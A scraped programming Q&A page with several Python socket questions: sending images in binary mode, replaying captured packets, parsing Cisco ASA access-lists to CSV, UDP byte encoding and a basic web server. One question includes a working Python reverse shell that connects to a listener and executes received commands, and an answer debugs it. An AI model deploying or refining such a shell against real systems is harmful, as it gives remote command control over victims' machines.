i'm new in python and english :). i'm trying to send an image file usşng python sockets and i have written this cosdes. it says it work but i get an empty file or missing image file.
this is the codes i've written:
server:
import socket
host = socket.gethostname()
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
sunucu , adres = s.accept()
print "baglanti saglandi"
def recvall(baglanti, buf):
data = ""
while len(data) < buf:
packet = baglanti.recv(buf - len(data))
if not packet:
return None
data += packet
return data
f = open("ggg.png", "w")
while True:
veri = sunucu.recv(512)
if not veri:
break
f.write(veri)
f.close()
print "resim alindi."
sunucu.close()
s.close()
and client:
import socket
host = socket.gethostname()
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host , port))
f = open("ornekresim.png", "r")
while True:
veri = f.readline(512)
if not veri:
break
s.send(veri)
f.close()
print "resim gonderildi"
s.close()
By default the Python function open opens file in text mode, meaning it will handle all input/output as text, while an image is decidedly binary.
A file in text mode will do thing like translating newline sequences (which are different on different systems). That means the data you read will be corrupted.
To open a file in binary mode, then append 'b' to the mode flags, like e.g.
f = open("ornekresim.png", "rb") # <-- Note the 'b' in the mode
However, with your code this leads to another problem, namely that you can't use readline anymore. Not that it made much sense anyway, reading binary data as lines since there are no "lines" in binary data.
You have to use the read function instead.
Related
I captured packets on individual text files with tcpdump, I want to send back the captured packets, first I extracted the IP and Port, but I have not been able to send the packet.
This is my code:
def client():
packet = open("packet3.txt", "r")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect(("192.168.128.1", 80))
while True:
try:
sock.send("packet")
sleep(1)
reply = sock.recv(131072)
if not reply:
break
print "recvd: ", reply
except KeyboardInterrupt:
print "bye"
break
sock.close()
return
client()
I get this error:
reply = sock.recv(131072)
error: [Errno 10054] An existing connection was forcibly closed by the remote host
I'm making a simple Python 2.7 reverse-shell , for the directory change function everytime I type cd C:\ in my netcat server it throws this error "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\n'" Here is my code.
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()
When you use data = s.recv(1024) to receive data from remote, the \n character, generated when you press Enter to end current input, will be received at the same time.
So you just need to .strip() it, or use [:-1] to remove the last character (which is \n), when you get data.
data = s.recv(1024).strip()
or
data = s.recv(1024)[:-1]
may both OK.
I have the following config from a Cisco ASA:
access-list OUTSIDE extended permit tcp any object O-10.1.2.230 eq 9091
access-list OUTSIDE extended permit tcp any object O-10.1.2.241 eq pptp
I want the result to look like this in a list or CSV format:
rule number, permit/deny, protocol, source IP, source port, des ip, des port.
1, permit, tcp, any, any, 10.1.2.230, 9091
2, permit, tcp, any, any, 10.1.2.241, pptp
for line in open("file.txt"):
if "access-list" in line:
print line.split()
print type(line)
Thanks!
Please check if this is useful.
import csv
import sys
#Open both files and get handles.
config_file = open("out.txt" ,'r')
csv_file = open("result.csv",'w')
#
try:
writer = csv.writer(csv_file)
#Write titles in csv file
csv_head_list = ['rule number', 'permit/deny', 'protocol', 'source IP', 'source port', 'des ip', 'des port']
writer.writerow( csv_head_list )
rule_num = 0
#Read file line by line
for line in config_file.readlines():
line=line.strip()
#Check "access-list" in line
if "access-list" in line:
tmp_list = line.split()
rule_num = rule_num + 1
permit_deny = str(tmp_list[3])
protocol = str(tmp_list[4])
src_ip = src_port = str(tmp_list[5])
des_ip = str(tmp_list[7]).replace("O-",'')
des_port = str(tmp_list[9])
#Write data in csv file
csv_data_list =[rule_num, permit_deny, protocol, src_ip, src_port, des_ip, des_port]
writer.writerow( csv_data_list)
csv_data_list = []
except Exception, e:
print str(e)
finally:
config_file.close()
csv_file.close()
I'm trying to send a packet that needs to arrive at its destination as hex in the form:
01 02 a1 a2 b1 b2
In Python2, the UDP method to send that would be:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.send(message, (UDP_IP, UDP_Port))
Message could be passed a hex string like:
\x01\x02\xa1\xa2\xb1\xb2 and that would arrive in the correct format.
In Python3, I cannot pass message the same value without getting the error str does not support the buffer interface. The problem then being is that if I pass message a bytestream b'\x01\x02\xa1\xa2\xb1\xb2' It will not arrive in the correct format.
Has anyone got any suggestions (other than port to 2.7)?
#!/usr/bin/python3
#Import block
import gzip, zlib
import time
import binascii
import struct
import socket
#Start of code
def compress():
"""The function to compress the packet"""
with open('results/file', 'r') as f:
'''Open the file with all the stuff in'''
for lines in f.readlines():
'''Each line represents one packet that will be sent'''
lines = (lines.strip("\n")) #Make sure their are no stray new lines
lines = lines.encode('UTF-8') #Encode for compression
compressed = gzip.compress(lines, 6)
pureHex = (binascii.hexlify(compressed))
return pureHex
def generator(pureHex):
"""The function to add the additional information to the packet"""
packet = [pureHex[i:i+2] for i in range(0, len(pureHex), 2)]
packet = b'\\x' + b'\\x'.join(packet) #Add the \\x that's needed
packet = packet.decode('UTF-8') #Requires decoding to remove the silly second \ that you have to add
return packet
def post(packet):
"""The function to post/send the message via UDP"""
sock.sendto(packet, (UDP_IP, UDP_PORT))
if __name__ == '__main__':
sock = socket.socket(socket.AF_INET,
socket.SOCK_DGRAM)
UDP_IP = "101.101.101.101" #Target IP Address
UDP_PORT = 5010 #Target Port Number
pureHex = compress()
packet = generator(pureHex)
post(packet)
You should send compressed directly and drop all other code that converts bytes to a hex string only to try to convert it back using an pseudo-emulation of Python representation for bytestrings.
Learn how bytes differ from their hex representation in Python source code:
>>> import binascii
>>> b = binascii.unhexlify('0102') # hex string to bytes
>>> b
b'\x01\x02' # representation: repr(b)
>>> len(_)
2
>>> b'\\x01\\x02' #XXX it is not what you want
b'\\x01\\x02'
>>> len(_)
8
>>> repr(b)
"b'\\x01\\x02'" # repr of a repr
>>> repr(repr(b))
'"b\'\\\\x01\\\\x02\'"' # repr of a repr of a repr
You need encode the packet. Change the line:
post(packet)
to:
post(bytes(packet,"utf-8"))
This worked for me.
I'm trying to run a python web server. The server says is running so I assume it is all working, except that I can only see the html text. The jpeg/image and the pdf files won't dispaly. Here is what i have so far.
#import socket module
from socket import *
serverSocket = socket(AF_INET, SOCK_STREAM)
serverSocket.bind(('', 12000))
serverSocket.listen(1)
while True:
print 'Ready to serve...'
connectionSocket, addr = serverSocket.accept()
print 'Required connection', addr
try:
message = connectionSocket.recv(1024)
filename = message.split()[1]
f = open(filename[1:])
outputdata = f.read()
#Fill in start
connectionSocket.send('HTTP/1.0 200 OK\r\n\r\n')
#Fill in end
#Send the content of the requested file to the client
for i in range(0, len(outputdata)):
connectionSocket.send(outputdata[i])
connectionSocket.close()
except IOError:
#Send response message for file not found
#Fill in start
connectionSocket.send('404 Not Found')
#Fill in end
#Close client socket
#Fill in start
connectionSocket.close()
#Fill in end
serverSocket.close()
I'm working on the same thing. I added the line:
connectionSocket.send('Content-Type: image/jpeg')
right after this:
connectionSocket.send('HTTP/1.0 200 OK')
I assume I'm/we're just missing some line in the header.